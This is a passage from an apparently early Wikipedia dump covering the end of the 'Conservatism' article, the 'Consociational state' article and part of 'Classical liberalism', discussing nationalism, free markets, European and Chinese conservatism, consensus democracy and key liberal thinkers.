Value conservatives in Europe appeal to 'national values'. Burkean conservatives value them for their own sake, because they are the result of long experience, but religious conservatives may use 'community values' as a [[euphemism]] for their own Christian values, or even for [[dominionism|theonomy]]. All nationalists appeal to national symbolism - the [[national flag]], national historical icons, founders and emblems, the work of national poets and authors, or the representation of the nation by its artists - and this is often adopted by conservatives. Military institutions in particular defend the nation and also provide tradition and ritual, so conservatives often admire military values: [[duty]], [[sacrifice]] and [[obedience]]. But good intentions do not always bear out, and this nationalism has often and easily degenerated into [[militarism]] and [[jingoism]]. Where the nation is not independent, open patriotism is impossible anyway. Consider a [[Kurdistan|Kurdish]] nationalist in Turkey, for
instance, with no official institutions to admire. Saluting the Kurdish flag in public means risking arrest by the Turkish police - one man's patriotism is another man's treason.

[[Nationalism]], and more generally [[patriotism]], are therefore typical features of modern conservatism, in established [[nation-state]]s. This was not the case in the 19th century, when the movements inspired by [[romantic nationalism]] were necessarily radical opponents of the then existing states, and separatist movements still are. Nor is present-day nationalism confined to self-identified conservatives, or to the right. The perception persists that nationalism is a remote or provincial ideology, but it is by definition the basis of every nation-state. Nevertheless, even nationalist conservatives sometimes prefer the less pejorative term patriotism, and Burkean conservatives would distance themselves from many nationalist groups and ideologies, on the grounds of their radicalism.

Nevertheless radical nationalist conservatism has been a major force in European history, no matter how distasteful that may be to many mainstream conservatives. Anti-immigrant and nationalist [[populist]] parties, such as France's [[Front National (France) | Front National]], continue to include a strong conservative element, and the conservative-nationalist tradition is very strong in Germany.

===Liberalism===
In the USA conservatism and [[liberalism]] are sometimes seen as polar opposites, yet in actuality the situation is more complex.  A major area of difference in US politics is that between [[social liberalism]] and [[social conservatism]].  Social liberals advocate policies promoting equality and tolerance while social conservatives support established traditions of American society, or norms of their previous generations.  The media widely covers the differences in opinion in issues such as [[same-sex marriage]], [[sex education]], the [[separation of church and state]] among others.  Fiscally, US liberals are regarded as advocates for consumer protection regulations, and other policies which run contrary to a more fiscal conservative, (or [[neoliberal]]) ideal.  The overall (US) terms ''liberal'' and ''conservative'' are [[generalization]]s and do not point to any concrete set of ideals or values.  In the US, the use of the term &quot;neoliberal&quot; is limited mainly to non-mainstream leftist critics of fiscal conservatism and/or of the free trade movement.  Some Americans term themselves &quot;libertarians&quot; (including some who support the Libertarian Party) and advocate fiscal conservatism along with social liberalism.  

The terms ''Economic conservatism'' or ''Fiscal conservatism'' are general terms, encompass modern [[neoliberalism]], as well as [[classical liberalism]] in the tradition of [[Adam Smith]].  Popularly used outside of North America, the traditional usage of ''liberal'' refers only to these free-market policies.  For example, in Europe 'liberal-conservative' is an accepted term.  Differences in meaning and usage of the term 'liberal' have contributed to some confusion, see [[Liberalism]].

Theorists of liberalism often assert a moral justification for the free market, grounded in principles of individual liberty and individual choice. Their support is not moral or ideological, but driven by the Burkean notion of prescription: what works best is what is right. Conservatives might also emphasise the importance of [[civil society]] in this context: government intervention in the economy will make people feel less responsible for the society. It is necessary to note, however, that many wealthy advocates of [[free-market|free-market economics]] such as the industrialist [[Andrew Carnegie]] do not oppose government subsidies.

Historically, many arguments have been advanced for the free market, and liberal principles in general. Present western classical-liberalism and political conservatism may have reached their pro-market position by different routes, but by now the lines have blurred. Rarely will a politician claim that free markets are &quot;simply more productive&quot; or &quot;simply the right thing to do&quot; but a combination of both. This merging of the classical liberal and conservative positions is found in most western conservative movements.

In any case the free market itself is not an issue, for western conservative movements. They operate in long-established market economies: it is the degree of government intervention that is at issue. One archetypal free-market conservative government of the late 20th century - the [[Margaret Thatcher]] government in the UK saw [[deregulation]] as the cornerstone of contemporary economic conservatism. Thatcher added [[privatisation]] to this policy, and privatised [[British Airways]], with remarkable success, and [[British Rail]], with rather more mixed results. She cut taxes (especially on the upper income brackets) and slowed governmental growth. Proponents of [[Thatcherism]] attribute the unparalleled economic boom of the early 1980s to the late 1990s to these policies.

[[Capitalism]], and the outcome of the free market, may conflict with value conservatism. At times, as the [[Communist Manifesto]] emphasised, capitalism and free markets have been profoundly subversive of the existing social order:&lt;blockquote&gt;''
The bourgeoisie, by the rapid improvement of all instruments of production, by the immensely facilitated means of communication, draws all, even the most barbarian, nations into civilisation. The cheap prices of commodities are the heavy artillery with which it batters down all Chinese walls, with which it forces the barbarians’ intensely obstinate hatred of foreigners to capitulate. It compels all nations, on pain of extinction, to adopt the bourgeois mode of production...''&lt;/blockquote&gt;
That economic system continues to conflict with traditional attitudes, for instance in its massive distribution of [[pornography]] in many western countries. So it is possible to be a value conservative without supporting market liberalism - at present, this is a common political stance in, for example, [[Ireland]]. And not all supporters of the free market are social conservatives.

'''Fiscal conservatism''' is not a political philosophy, and more a tradition of prudence in government spending and debt. Edmund Burke, in his '[[Reflections on the Revolution in France]]', articulated its principles:

&lt;blockquote&gt;''...[I]t is to the property of the citizen, and not to the demands of the creditor of the state, that the first and original faith of civil society is pledged. The claim of the citizen is prior in time, paramount in title, superior in equity. The fortunes of individuals, whether possessed by acquisition or by descent or in virtue of a participation in the goods of some community, were no part of the creditor's security, expressed or implied...[T]he public, whether represented by a monarch or by a senate, can pledge nothing but the public estate; and it can have no public estate except in what it derives from a just and proportioned imposition upon the citizens at large.''&lt;/blockquote&gt;

In other words, a government doesn't have the right to run up large debts and then throw the burden on the taxpayer; the taxpayers' right not to be taxed oppressively takes precedence even over paying back debts a government may have imprudently undertaken.

===Nature and the Environment===
In early [[liberalism|liberal]] philosophy '[[Nature]]' and the environment were treated as a resource to be exploited: value derived from their human use, in accordance with the [[labor theory of value]]. Most early conservatives, however, saw the value of Nature as inherent. Both strands have influenced conservative politics in many countries, since the 19th century. The etymology emphasises the close correlation between the early [[conservation movement]] and conservative ideals. In recent decades, [[deep ecology]] has emerged as parallel, non-[[anthropocentric]] conservative philosophy, with remarkable similarities in value preferences.

'''Technological conservatism''' is often part of environmentalist philosophy, rejecting especially the destructive effects on nature and [[ecosystem]]s. There is also a long tradition of technological scepticism in [[Western World|western culture]], usually directed against socially disruptive effects, and potentially dangerous consequences. The term 'conservatism' is also used in the [[history of technology]] to describe the reluctance - on grounds of cost, effort and disruption - to replace a functioning technology by another.

==Regional Politics==
In western democracies, 'conservative' and 'right-wing' are often used interchangeably, as near-[[synonyms]]. That is not always accurate, but it has more than incidental validity. Certainly the opposition is in both cases the same: the [[political left]]. (Although left-wing groups and individuals may have conservative social and cultural attitudes, they are not generally accepted, by self-identified conservatives, as part of the same movement). On economic policy and the economic system, conservatives and the right generally support the free market, although less so in Europe than in other places. Attitudes on some ethical and [[bio-ethics|bio-ethical]] issues - such as opposition to abortion - are accurately described as either 'right-wing' or 'conservative'.

Burkean conservatives favour incremental over radical change, even from the right. Some conservatives distrust the [[xenophobia|xenophobic]] and even [[racist]] sentiments prominent on the political right.  [[Protectionism]] and [[anti-immigration]] policies may conflict with free-market conservatives' support for deregulation and  [[free trade]].  Some conservatives oppose military interventionism, inspired by early British conservative thinkers, such as [[David Hume]] and [[Edmund Burke]]. Burke saw [[imperialism]] as interfering with the traditions and organic make-up of the colonised societies.

However it is equally true, that there are numerous examples of theocratic religious conservatives, conservative nationalists, [[jingoism|jingoist]] conservative imperialists, and conservative racists - and of ‘respectable’ conservatives allied with them. The Conservative Party in Britain was a staunch defender of the [[British Empire]], and was responsible for initial brutal repression of African [[decolonisation]]. 

It is the degree of political taboo, rather than inherent ideological incompatibility, that determines the overlap between 'respectable' conservatives and the right. In European parliamentary systems, conservatives currently ally with centrist groups, or even some on the left, rather than with the xenophobic-populist right, although critics have contended that the conservatives are taking in far-right ideas. For example, in December 2005, ''[[Le Canard Enchaîné]]'' claimed that [[Nicolas Sarkozy]] had implemented almost all of the far-right ''[[Front National]]'' (FN)  measures proposed in its election program. All mainstream parties in [[Belgium]] cooperated to exclude the Flemish-[[separatist]] and xenophobic ''[[Vlaams Belang]]'', although some politicians wish to break this 'cordon sanitaire', and the  mainstream parties in France sometimes support each others candidates in run-off elections, where that is necessary to exclude the ''Front National'' party. However, in March [[1977]], and then in [[March 1983]], FN was present on [[RPR]]-[[UDF]] lists at municipal elections; in [[1988]], [[RPR]] and [[UDF]] right-wing conservative parties allies with the [[Front National|FN]] in the [[Bouches-du-Rhône]] and [[Var]] regions. In [[March 1989]], they had common lists in at least 28
cities of more than 9 000 inhabitants. Those alliances were condemned in [[1991]], but a dozen conservative deputies gained FN's support in [[1997]].

===North America===
See [[American conservatism]] for information on conservatism in the [[United States]], and [[Canadian Conservatism]] for information on conservatism in [[Canada]].

=== Europe ===
[[Edmund Burke]] is often considered the ''father of conservatism'' in Anglo-American circles. In the [[United Kingdom]], Burkean conservatism continues on, but its influence tended to leave its indelible mark on Anglo-American conservatism more so than British conservatism. There is no organisational continuity amongst Burkean conservatives which clearly connect them to contemporary conservatives in Britain. An Old Whig, Burke certainly was not the 'founder of the Conservative Party'. Contemporary British conservatives may trace their roots to both the [[Tories]] of Canning and the early [[Whigs]] (who opposed the [[British monarchy|monarchy]]). The Tories, who continued to represent the interests of the aristocracy, in contrast to the Whiggish mercantile class, dominated British politics from the [[1770s]] and the [[1830s]]. Burke, the so-called &quot;Father of Modern Conservatism,&quot; articulated a ''progressive'' conservative position through the [[Whig]] party, and was against the entrenched system of patronage
and government favor for the wealthy classes.

Nominally, the modern British [[Conservative party (UK)|Conservative Party]] was founded out of the Tory party by Sir [[Robert Peel]] in the [[1840s]], splitting almost immediately, over the issue of [[protectionism]]. The anti-protectionist faction joined with some Whigs and radicals to form the [[Liberal Party (UK)|Liberal]] coalition, which was to dominate politics for much of the rest of the [[nineteenth century]]. A Liberal-Conservative coalition during the [[world War I|first World War]] coupled with the assent of the [[Labour Party (UK)|Labour Party]], hastened the collapse of the Liberals in the 1920s. After the [[world War II|second World War]], the Conservative party made concessions to the socialist policies of the Left. This compromise was a pragmatic measure to regain power, but also the result of the early successes of [[central planning]] and state-ownership forming a cross-party consensus. However, in the 1980s, under the leadership of [[Margaret Thatcher]], the party returned to
[[classical liberalism|classical liberal]] economic ideas, and [[privatization]] of many state enterprises was ordained. For more detail, see [[History of the Conservative Party]].

In other parts of Europe, mainstream conservatism is often represented by the [[Christian Democracy|Christian-democratic]] parties.  They form the bulk of the [[European Peoples Party]] fraction in the [[European Parliament]]. The origin of these parties is usually in Catholic parties of the late 19th and early 20th century, and [[Rerum Novarum|Catholic social doctrine]] was their original inspiration. Over the years, conservatism gradually became their main ideological inspiration, and they generally became less Catholic. The German [[CDU]], its Bavarian sister party [[Christian Social Union|CSU]], and the Dutch [[Christian Democratic Appeal|CDA]] are Protestant-Catholic parties.

In the [[Nordic countries]], conservatism has been represented in [[Liberal conservatism|liberal conservative]] parties like the [[Moderate Party]] in Sweden and the [[Conservative People's Party]] in Denmark. Domestically,  these parties generally support market-oriented policies, and usually gain support from the business community and white-collar professionals. Internatially they generally support the [[European Union]] and a strong defense. Their views on social issues tend to be more liberal than for example the U.S. Republican Party. Social conservatism in the Nordic coutries are often found in their [[Christian Democratic]] parties. In several of the Nordic countries, right-wing populist parties have gained some support since the 70's. Their policies have often been focuesd on tax cuts, reduced immigration, and tougher law and order policies. 

Generally, one could claim that European conservatives tend to be more moderate on many social and economic issues, compared to American conservatives. They tend to be quite friendly to the aims of the welfare state, although concerned about a healthy business environment. Some groups, however, have been more supportive of a stricter libertarian or laissez-faire agenda, especially under influence from Thatcherism. European conservative groups often see themselves as guardians of prudence, moderation, history and tried experience, as opposed to radicalism and social experiments. Appraisal of [[high culture]] and established political institutions like the monarchy is often found in European conservatism. Mainstream conservative groups are often staunch supportes of the European Union. However, one might also found elements of nationalism in many countries.

*[[One Nation]]
*[[Thatcherism]]
*[[Gaullism]]

=== China ===
Chinese conservatism is based on the teachings of [[Confucius|Kung Fu Tze]] (Confucius). Confucius who was living in a time of chaos and warring kingdoms, wrote extensively about the importance of the family, of social stability, and of obedience to just authority. His ideas continue to permeate Chinese society. Traditional Chinese conservatism imbued with Confucian thought have been resurgent in recent years, despite more than a half-century of authoritarian Marxist-Leninist rule.

After Mao's death in [[1976]], three factions wrestled to succeed him: the hardline [[Maoists]], who wanted to continue the revolutionary mobilization; restorationists, who advocated a return to the [[Soviet]] model of communism; and reformers, led by [[Deng Xiaoping]], who hoped to reduce the role of ideology in government and overhaul the economy.
Traditional Chinese values have surged, rather assertively, in spite of the longstanding revolutionary communist regime. Today, the [[Chinese Communist Party]] is run by technocrats, who seek stability and economic progress, while suppressing free speech and religion.  The Party is seen by some as the recipient of the [[Mandate of Heaven]], a traditional Chinese idea. The Communist Party is taming itself and no longer consistently advocates Marxist revolutionary theory, adhering instead to a certain ideological flexibility consistent with the dictum of [[Deng Xiaoping]], that is ''seek truth from facts''.

Love of country and national pride has been resurgent as well as traditionalism. Chinese nationalism tends to speak highly of a centralized, powerful Chinese state. The government is attempting to win and maintain the loyalty of both its own citizens as well as that of recently departed overseas Chinese. Recent bestseller ''[[China Can Say No]]'' expresses a sentiment in favor of a uniquely Chinese path that, tellingly, does not have to involve American norms, such as individualism and Western liberalism. Moreover, the tide may still be coming in for Chinese nationalism, as the next [[Generations of Chinese leadership | generation of Chinese leaders]] will have grown up in an environment imbued with nationalism.

Since the [[1990s]], there has been a [[Neoconservatism in China|neoconservative]] movement in China (not connected with the US [[neoconservative]] movement).

==References==
===See Also===
&lt;table border=&quot;0&quot;&gt;&lt;tr&gt;&lt;td valign=&quot;top&quot;&gt;
*[[Bioconservatism]]
*[[Conservative extension]] (Mathematical logic)
*[[Conservative Party (UK)]]
*[[Conservative Political Parties]]
*[[Constitutional Conservatism]]
*[[Christian Democratic Union of Germany]]
*[[Conservative Revolutionary movement]]
*[[Culture war speech]]
*[[fiscal conservatism]]
*[[Libertarianism]]
&lt;/td&gt;&lt;td valign=&quot;top&quot;&gt;
*[[New Right]]
*[[Old Right]]
*[[Paleoconservatism]]
*[[Reactionary]]
*[[Religious right]]
*[[Republitarianism]]
*[[Right-wing politics]] 
*[[Traditional Catholic]]
*[[Fundamentalism]]
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

===End Notes===
#{{note|Burke}}  &quot;A disposition to preserve, and an ability to improve, taken together, would be my standard of a statesman.&quot; - Edmund Burke
#{{note|White}}  As part of introduction to ''The Conservative Tradition'', ed. R.J. White (London: Nicholas Kaye, 1950)

===Further Reading===
*[[Edmund Burke]]. ''Reflections on the Revolution in France'', Hackett Publishing Company, Inc.  October 1997: ISBN 0872200205 (paper).
* Ted Honderich ''Conservatism''
* [[Russell Kirk]]. ''The Conservative Mind''.  [[Regnery Publishing]]; 7th edition (October 1, 2001): ISBN 0895261715 (hardcover).
* Jerry Z. Muller ''Conservatism''
* Robert Nisbet ''Conservatism: Dream and Reality''
* Noel O'Sullivan ''Conservatism''
* Roger Scruton ''The Meaning of Conservatism''

===External Links===
*[http://etext.lib.virginia.edu/cgi-local/DHI/dhi.cgi?id=dv1-60 ''Dictionary of the History of Ideas'':] Conservatism.
*[http://www.pnc.ro ''The National Conservatory Project'':] (in Romanian)
*[http://localhost:8888/SSK@a~F76Clr4Cj9FNtr14W2u7p2mEgPAgM,RqmBC5XFYJ0ZxuMt7Zwscg/ConservativeAlert/4// Conservative Alerts]

[[Category:Conservatism|*]]

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  <page>
    <title>Consociational state</title>
    <id>6676</id>
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      <contributor>
        <username>Hairybottle</username>
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      <minor />
      <text xml:space="preserve">[[Political science|Political scientists]] define a '''consociational state''' as a [[state]] which has major internal divisions along ethnic, religious, or linguistic lines, yet nonetheless manages to remain stable, due to consultation among the [[elite]]s of each of its major social groups. Consociational states are often contrasted with states with [[majoritarianism|majority]] rule.

Classical examples of consociational states are  [[Politics of Belgium|Belgium]], [[Politics of Switzerland|Switzerland]], [[Politics of Lebanon|Lebanon]], [[Politics of India|India]] and [[Politics of the Netherlands|the Netherlands]]

Consociational polities often have these characteristics:
*[[Coalition government|Coalition cabinet]]s, where executive power is shared between parties, not concentrated in one. Many of these cabinets are oversized, they include parties not necessary for a parliamentary majority;
*Balance of power between [[executive (government)|executive]] and [[legislative]];
*Decentralized and [[federal government]], where (regional) minorities have considerable independence;
*Asymmetric [[bicameralism]], where it is very difficult for one party to gain a majority in both houses. Normally one chamber represents regional interests and the other national interests;
*[[Proportional representation]], to allow (small) minorities to gain representation too;
*Organized and [[corporatism|corporatist]] interest groups, which represent minorities;
*A rigid [[constitution]], which prevents government from changing the constitution without consent of minorities;
*[[Judicial review]], which allow minorities to go to the courts to seek redress against laws that they see as unjust;
*Elements of [[direct democracy]], which allow minorities to enact or prevent legislation;
*Proportional employment in the public sector;
*A neutral [[head of state]], either a [[monarchy|monarch]] with only a ceremonial duties, or an indirectly elect president, who gives up party affiliation after his election;
*[[referendum|Referenda]] are only used to allow minorities to block legislation: this means that they must be a [[citizen's initiative]] and that there is no compulsory voting. 
*Equality between ministers in cabinet, the [[prime minister]] is only the [[primus inter pares]];
*An independent [[central bank]], where experts and not politicians set out monetary policies.

In this view, [[Switzerland]], a country with considerable [[minority|minorities]], is a prime example of such a consensus democracy. Examples of this include: the frequent use of [[referendum|referenda]], its [[confederation|confederal]] structure, and the tradition that all large parties are included in the cabinet, creating oversized coalition governments. This can be directly linked to the many minorities Switzerland has: its population consists of both [[Protestant]]s and [[Catholic]]s; and [[French language|French]]-, [[German language|German]]-, [[Italian language|Italian]]- and [[Romansh language|Romansch]]-speaking groups.

The [[EU]] too can be seen as a consensus democracy: The parliament is bicameral: one chamber, the [[European Parliament]] is directly elected, the other the [[European Council]] consists of national ministers. The executive (the [[European Commission]]) is very weak in comparison to the legislature (especially the European Council). The Commission could be seen as an oversized coalition including (nearly) all parties in parliament.

== See also ==
* [[Confederation]]
* [[Federation]]
* [[Consensus democracy]]

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      <text xml:space="preserve">{{liberalism}}
'''Classical liberalism''' (also called '''classic liberalism''' or simply '''liberalism''') is the original form of, and is today a tendency within, [[liberalism]]. It is a political school of thought that first emerged in the [[17th century|17th]] and [[18th century|18th]] centuries, upholding [[individualism]] and [[free market]] economics. Classical liberalism focuses on concepts of individual autonomy and private property, and argues that the sole legitimate function of government is to defend these. Classical liberals promote the use of precisely delineated [[constitution]]s that are difficult or impossible to modify, intended to prevent governments from assuming an [[Interventionism (politics)|interventionist]] role.

The term &quot;classical liberalism&quot; was coined in the [[20th century]] to refer to the general philosophy espoused by pre-[[1850]] liberals; the term refers to the philosophy itself rather than being time specific. The term was coined to avoid confusion with a modern definition of [[liberalism]] which does not accept the minimal [[statism]] philosophy. [[American liberalism]] is a key example of this. Modern [[libertarianism]] is seen by some historians as a revival of the original doctrine of liberalism, and libertarians often call themselves &quot;classical liberals&quot; interchangeably; likewise, those who call themselves classical liberals are sometimes referred to as libertarians.

==Introduction==
The classic liberal philosophy places a particular emphasis on the [[sovereignty of the individual]], with [[private property]] rights being seen as essential to individual liberty. It forms the philosophical basis for [[laissez-faire]] philosophy.  The precepts of classic liberalism were probably best described by [[John Locke]] and [[Adam Smith]], and illuminated much of the thought at the time of the [[American revolution]].  As a result, the [[United States Constitution]] and the [[United States Declaration of Independence]] are both documents that embody many principles of classic liberalism.

[[Modern liberalism]] tends to deviate from this definition of the term &quot;liberal&quot; in that it espouses support of the use of the power of government to achieve a variety of desirable goals, ranging from &quot;social justice&quot; to &quot;economic equality&quot;. The term ''classical liberalism'' is often used interchangeably with the term ''libertarianism''. Raimondo Cubeddu of the Department of Political Science of the University of Pisa says &quot;It is often difficult to distinguish between &quot;Libertarianism&quot; and &quot;Classical Liberalism.&quot; Those two labels are used almost interchangeably by those who we may call libertarians of a &quot;[[minarchist]]&quot; persuasion: scholars who, following Locke and Nozick, believe a State is needed in order to achieve effective protection of property rights.&quot; [http://www.univ.trieste.it/~etica/2003_2/] The [[Cato Institute]] briefly discusses these changes and their views on the term ''classical liberalism'', stating from their website: 
:''&quot;Classical liberal&quot; is a bit closer to the mark, but the word &quot;classical&quot; connotes a backward-looking philosophy. Finally, &quot;liberal&quot; may well be the perfect word in most of the world--the liberals in societies from China to Iran to South Africa to Argentina are supporters of human rights and free markets--but its meaning has clearly been corrupted by contemporary American liberals.&quot;
Thus the CATO Institute[http://www.cato.org/about/about.html] sees Classical Liberals, liberals, and libertarians being from the same ideological family.  Classical liberals, like those within the CATO Institute, often prefer to call themselves liberals because they see themselves as the only rightful inheritors of Liberalism.

Amy H. Sturgis Ph.D., an expert in Intellectual History, says ([http://www.belmont.edu/lockesmith/essay.html ''The Rise, Decline, and Reemergence of Classical Liberalism'']) that &quot;Classical liberalism&quot; includes the following:
* An ethical emphasis on the individual as a rights-bearer prior to the existence of any state, community, or society.
* The support of the right of property carried to its economic conclusion, a free-market system.
* The desire for a limited constitutional government to protect individuals' rights from others and from its own expansion
* The universal (global and ahistorical) applicability of these above convictions.&quot;

==Origins==
'''Classical liberalism''' is a political and economic philosophy. With roots in [[ancient Greece|ancient Greek]] and medieval thought, it received an early expression in the 16th century by the [[School of Salamanca]] in Spain and its classic formulation in the [[The Age of Enlightenment|Enlightenment]] tradition. ''[[The Wealth of Nations]]'' (1776) by [[Scotland|Scottish]] philosopher [[Adam Smith]] is one of the classic works that rejects the philosophy of [[mercantilism]], which advocated state [[economic interventionism|interventionism]] in the economy and [[protectionism]]. The classical liberals saw mercantalism as enriching privileged elites at the expense of well being of the populace. Another early expression is the tradition of a [[Nordic]] school of [[liberalism]] set in motion by a [[Finland|Finnish]] parliamentarian [[Anders Chydenius]].  Classical liberalism tries to circumscribe the limits of [[political power]] and to define and support individual [[liberty]] and [[private property]]. The phrase is often used as a means of delineating the older [[philosophy]] called ''[[liberalism]]'' from ''[[modern liberalism]]'', in order to avoid semantic confusion.

[[Image:Adam Smith.jpg|100px|thumb|[[Adam Smith]]]] Classic Liberalism is close to 18th century Liberalism. [[The Wealth of Nations]] (1776) by Adam Smith is considered one of the classic foundations of liberalism.  While Adam Smith provides an explanation of liberalism and economics, the legal and philosophical understanding originates with scholars like John Locke and evolves through Thomas Jefferson and James Madison.  [[Immanuel Kant]], in the [[Perpetual Peace]], creates an international liberal framework to foster a sustainable world peace.

The term &quot;liberal&quot; derived from this time period (generally the 18th and 19th century) with its origination stemming from the belief in individual freedom, economic freedom (including free markets), and limited representative government. This original understanding of the word &quot;liberal&quot; carries the same meaning in a few countries, but in most countries the meaning and ideology behind liberalism differ to certain degrees (e.g. social security, tariffs, intervention and regulation into the economy, wage and price controls) from its meaning in the eighteenth century. In many countries liberalism holds a position between classical liberalism and American liberalism. Only a few major parties adhere to classical liberalism, most of the liberal parties accept limited government intervention in economics.

[[Image:kant.jpg|100px|thumb|[[Immanuel Kant]]]] Classic Liberals include all original liberals such as [[John Locke]], [[Adam Smith]], [[David Ricardo]], [[Thomas Jefferson]], [[James Madison]], [[John Stuart Mill]] with his work ''[[On Liberty]]'', and even more modern liberals such as [[Von Mises]], [[Hayek]], and [[Milton Friedman]]. Classical liberal institutions include the [[Frasier Institute]] (Canada), The [[Hoover Institution]] (Stanford University), and [[The Cato Institute]] to name a few.

==Classical liberal philosophy==
Classical liberals subscribe to a very basic and universal understanding of the world and the rights of all humans. Classical Liberals believe in private property, free markets, economic competition, freedom from coercion, limited government (all [[economic freedom]]), the rule of law, and [[individual rights]] ([[natural rights]] is also used). These principals apply to all people, of all faiths, cultures, societies, ethnicities, and histories, and it is stated that all peoples are capable of achieving liberal government and liberal societies, not just western cultures. (Classical) liberals prefer a [[laissez-faire]] style of government with a [[microeconomic]] focus and understanding of economic operations.

Classical liberals reject [[wealth transfers]] (though admire the goal of helping the needy), [[tariffs]] or other [[trade barriers]] such as quotas, [[regulated markets]] (also known as a [[mixed economy]] ), [[capital controls]], and wage and [[price controls]].  As a general rule these [[macroeconomic]] policies are considered by them as reducing the [[general welfare]] of society. Social security and tariffs, for example, are viewed by Milton Friedman as  [[perverse wealth transfers]], meaning wealth transfers from poor to rich. Hayek and Friedman also believed that economic freedom would help build and protect political and civil freedoms, while a loss in economic freedom meant a loss in civil and political freedoms.

Milton Friedman's [[Free to Choose]] and [[Capitalism and Freedom]] are examples of this philosophy updated for modern man and woman to understand (classical) liberalism.

==Key Thinkers==

Below is a list of Key liberal thinkers as Liberalism developed and maintained a laissez-faire political-economic outlook.

===John Locke=== 
{{main|John Locke}}
Locke's major works ''[[A Letter Concerning Toleration]]'' and ''[[Two Treatises of Government]]'' were both published in 1689. Collectively they argue for greater religious toleration and for a state that respects the [[natural laws]] laid down in a [[Social Contract]]. 
===Immanuel Kant===
{{main|Immanuel Kant}}

Kant further advanced the idea of a liberal peace by demonstrating conditions and requisistes for international peace among states in his work, the [[Perpetual Peace]]

===The Founding Fathers===
{{main|Founding Fathers}}
===Adam Smith===
{{main|Adam Smith}} 
Adam Smith believed that the government had only three and only three roles to play: 1.) &quot;protecting the society from the violence and invasion of other independent societies...which can only be performed by means of a military force&quot; 2.) &quot;protecting, as far as possible, every member of the society from the injustice or oppression of every other member of it...&quot; and 3.) &quot;erecting and maintaining those public institutions and those public works, which...though most advantageious...are such that the profit could never repay the expense to any individual or small group of indviduals&quot; which implies that governments should work to correct market externalities, but Smith did not argue for government run monopolies to permanently solve externality problems.
===Jeremy Bentham===
{{main|Jeremy Bentham}}
===John Stuart Mill===
{{main|John Stuart Mill}} 
Quote from &quot;On Liberty&quot; (1859)''The only purpose for which power can be rightfully exercised over any member of a civilized community, against his will, is to prevent harm to others. His own good, either physical or moral, is not sufficient warrant - John Stuart Mill
===Joeseph Schumpeter===
{{main|Joseph Schumpeter}}

According to political scientist Michael Doyle, Schumpeter advanced and modernized Smith's economic assesment of capitalisms role in creating peaceful relations among states, in his work the [[Sociology of Imperialism]].

===Ludwig Heinrich Edler von Mises===
{{main|Ludwig Heinrich Edler von Mises}}
===Friedrich von Hayek===
{{main|Friedrich von Hayek}}

Hayek was a contemporary, though friendly, critic of [[John Maynard Keynes]] and believed that the outcomes of Keynes' interventionist policies would result in the destruction of civil liberal society.  He further demonstrated this thesis in his work, the [[Road to Serfdom]] arguing that restrictions among economic freedom result in a loss of civil and political freedom.

===Milton Friedman===
{{main|Milton Friedman}}

Economically, Friedman is known for his [[monetarist]] and [[shock therapy]] theories.  Friedman, like Hayek believed that economic freedom created and protected civil and political freedom and that the loss of economic freedom lead to a loss in civil and political freedom.  His most famous popular works include [[Capitalism and Freedom]] and [[Free to Choose]] where he advances the ideas of [[laissez-faire]] [[free market]] [[liberal]] government.

==(Classical) Liberalism and the great depression==

Classical liberals, including [[Friedrich August von Hayek]], [[Milton Friedman]], and [[Ludwig von Mises]], argued that the great depression was not a result of &quot;laissez-faire&quot; capitalism but a result of too much government intervention and regulation upon the market. In Friedman's work, &quot;Capitalism and Freedom&quot; he elucidated government regulation that occurred before the great depression including heavy regulations upon banks that prevented them, he argued, from reacting to the markets' demand for money. Furthermore, the U.S. Federal government had created a fixed currency pegged to the value of gold.  This pegged value created a massive surplus of gold, but later the pegged value was too low which created a massive migration of gold from the U.S. Friedman and Hayek both believed that this inability to react to currency demand created a run on the banks that the banks - stifled by state unit banking laws - were no longer able to handle, and that and the fixed exchange rates between the dollar and gold both worked to cause the [[Great Depression]] by creating, and then not fixing, deflationary pressures. He further argued in this thesis, that the government caused more pain upon the American public by first raising taxes, then by printing money to pay debts (thus causing inflation), the combination of which helped to wipe out the savings of the middle class.

Others note that the rising tariffs and reduced trade and export industries and helped slow economic growth.  The Smoot-Hawley Tariff Act passed in the summer of 1930 is regarded by some free market scholars as an important variable in worsening economic conditions at the onset of the depression.

Some economists since Milton Friedman have continued to argue that the causes of this great depression have been erased by populist myths from Keynesians and leftists in an attempt to legitimize their own economic prefrences at the expense of the truth.[http://www.mackinac.org/archives/1998/sp1998-01.pdf]

==Liberalism against totalitarianism==
Liberalism always defined itself as the freedom from arbitrary tyranny or [[totalitarianism]], which had become the prevelant alternative to liberalism.  The term was first used by [[Giovanni Gentile]] to describe the socio-political system set up by [[Mussolini]]. [[Stalin]] would apply it to German Nazi-ism, and after the war it became a descriptive term for the common characteristics of [[fascism|fascist]] and [[Marxism-Leninism|Marxist-Leninist]] regimes. Totalitarian [[regime|regimes]] sought and tried to implement absolute centralized control over all aspects of society, in order to achieve prosperity and stability.  Such governments often justified such absolutism by arguing that the survival of their civilization was at risk. Opposition to totalitarian regimes acquired great importance in liberal and democratic thinking, and totalitarian regimes were often portrayed as trying to destroy liberal democracy. 

In Italy and Germany, nationalist governments linked corporate capitalism to the state, and promoted the idea that their nations were culturally and racially superior, and that conquest  would give them their rightful &quot;place in the sun&quot;. The propaganda machines of these totalitarian states argued that democracy was weak and incapable of decisive action, and that only a strong leader could impose necessary discipline.

The rise of totalitarianism became a lens for liberal thought.  Many liberals began to analyze their own beliefs and principles, and came to the conclusion that totalitarianism arose because people in a degraded condition turn to dictatorships for solutions. From this, it was argued that the state had the duty to protect the economic well being of its citizens. As [[Isaiah Berlin]] said, &quot;Freedom for the wolves means death for the sheep.&quot; This growing body of liberal thought argued that reason requires a government to act as a balancing force in economics.

Hayek, in his book [[The Road to Serfdom]], believed that the rise of totalitarian regimes, whether they be communist, fascist, or Nazi, were the result of the restriction of economic freedom. Economic freedom was, thus, restricted by government intervention and regulation of the economy. Hayek states: 
: &quot;''…economic planning, conducted independently on a national scale, are bound in the aggregate effect to be harmful even from a purely economic point of view and, in addition to produce serious international friction. That there is little hope of international order or lasting peace so long as every country is free to employ whatever measures it desires in its own immediate interest, however damaging they may be to others…''&quot; Hayek, F.A., The Road to Serfdom, The University of Chicago Press, 1944. p. 240.  
Here Hayek is demonstrating the rationale behind why economic policies like those subscribed to by Keynesian economists can not and could not be compatible to freedom and peace much in the same way Nazis, Fascists, and Communists failed to retain or create free and peaceful states   

